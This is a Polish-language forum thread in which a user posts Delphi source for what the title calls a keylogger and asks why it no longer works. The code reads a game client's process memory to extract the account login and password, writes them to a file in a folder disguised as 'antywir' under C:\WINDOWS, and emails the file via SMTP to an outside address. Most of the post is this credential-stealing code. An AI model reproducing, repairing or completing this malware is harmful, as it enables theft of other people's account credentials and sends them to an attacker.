Prosze o pomoc. Odczytywanie danych z procesu.

morderuk

Użytkownik
Dołączył
Kwiecień 23, 2010
Posty
5
Keylogger w Delphi - co jest zle ??

Ok mam nowy problem znowu bo cos mi nie chce dzialac mimo ze RAZ wyslalo logi poprawnie.

Kompiluje sie bezblednie, i nie dziala nic. Ani nie tworzy folderu , ani nie wysyla nic na maila, wczesniej przynajmniej wysylalo(puste logi..-.-), teraz lipa...powoli trafia mnie szlag wiec prosze o pomysly.

PHP:
unit key;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, CoolTrayIcon, IdAntiFreezeBase, IdAntiFreeze,
  IdBaseComponent, IdMessage;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Label1: TLabel;
    Label2: TLabel;
    Timer2: TTimer;
    IdMessage1: TIdMessage;
    IdAntiFreeze1: TIdAntiFreeze;
    CoolTrayIcon1: TCoolTrayIcon;
    IdSMTP1: TIdSMTP;
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure WyslijMail();
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
const
acc = $79A42C; //Pamiętaj o średniku na końcu!
pass = $79A40C; // PAMIĘTAJ ŻE NA KOŃCU JEST ŚREDNIK
implementation

{$R *.dfm}
function MemReadString(Address: Integer): String;
var
NB : LongWord;
Temp : ARRAY [1..255] OF Byte;
I : Byte;
IDProcess, proc_ID : Cardinal;
begin
GetWindowThreadProcessID(FindWindow('xxxClient', nil), @proc_ID);
IDProcess := OpenProcess(PROCESS_ALL_ACCESS, false, proc_ID);
Result := '';
ReadProcessMemory(IDProcess, Ptr(Address), @Temp[1], 255, NB);
for I := 1 to 255 do
begin
if ((Temp[i] = 0) or (Temp[i] = $0F)) then
Break;
Result := Result + Chr(Temp[i]);
end;
end;

function ReadMemInteger(Address: Cardinal): Cardinal; //Read adress:value
var
ProcId: Cardinal;
tProc: THandle;
NBR: Cardinal;
value:integer;
begin
GetWindowThreadProcessId(FindWindow('xxxClient',Nil), @ProcId);
tProc:= OpenProcess(PROCESS_ALL_ACCESS, False, ProcId);
ReadProcessMemory(tProc, Ptr(Address), @value, 4, NBR);
CloseHandle(tProc);
Result:=value;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Label1.Caption := inttoStr(readMemInteger(acc));
Label2.Caption := MemReadString(pass);
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var

TF : TextFile;
S : String;

begin
S := memreadString($62C7AD);
Delete(S, 5, 58);

if FindWindow('xxxClient',nil) = 0 then else
begin //zignoruj jesli:
if (Label1.Caption ='0')
and (Label2.Caption ='')
and (Label2.Caption ='Label2')
and (Label2.Caption ='j')
and (S = '8.55')
then
begin
createdir('C:\WINDOWS\antywir');
AssignFile(TF, 'C:\WINDOWS\antywir\logi.txt');
ReWrite(TF);
Writeln(TF, '*****************');
Write(TF, 'Login:'); // login :
Writeln(TF, inttoStr(readMemInteger(acc)));
Write(TF, 'Hasło:'); // haslo:
Writeln(TF, MemReadString(pass));
CloseFile(TF); // zamykamy plik
Timer2.Enabled := false;
WyslijMail();
end;
end;
end;
procedure tform1.WyslijMail();
begin
idSMTP1.AuthenticationType:=atLogin;
IdMessage1.Body.Append('Logi w zalaczniku');
IdMessage1.Recipients.EMailAddresses := '[email protected]';
IdMessage1.Subject := 'blabla';
IdMessage1.From.name := 'blabla';
IdMessage1.From.Address :='[email protected]';
idSMTP1.Password := 'haslo';
idSMTP1.Username := 'login';
idSMTP1.Host := 'smtp.wp.pl';
TIdAttachment.Create(IdMessage1.MessageParts, 'C:\WINDOWS\antywir\logi.txt');
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally

IdSMTP1.Disconnect;
end;
end;
end.
 
Ostatnia edycja:

Legalnl

Użytkownik
Dołączył
Październik 8, 2008
Posty
828
Ostatnia edycja:
Do góry Bottom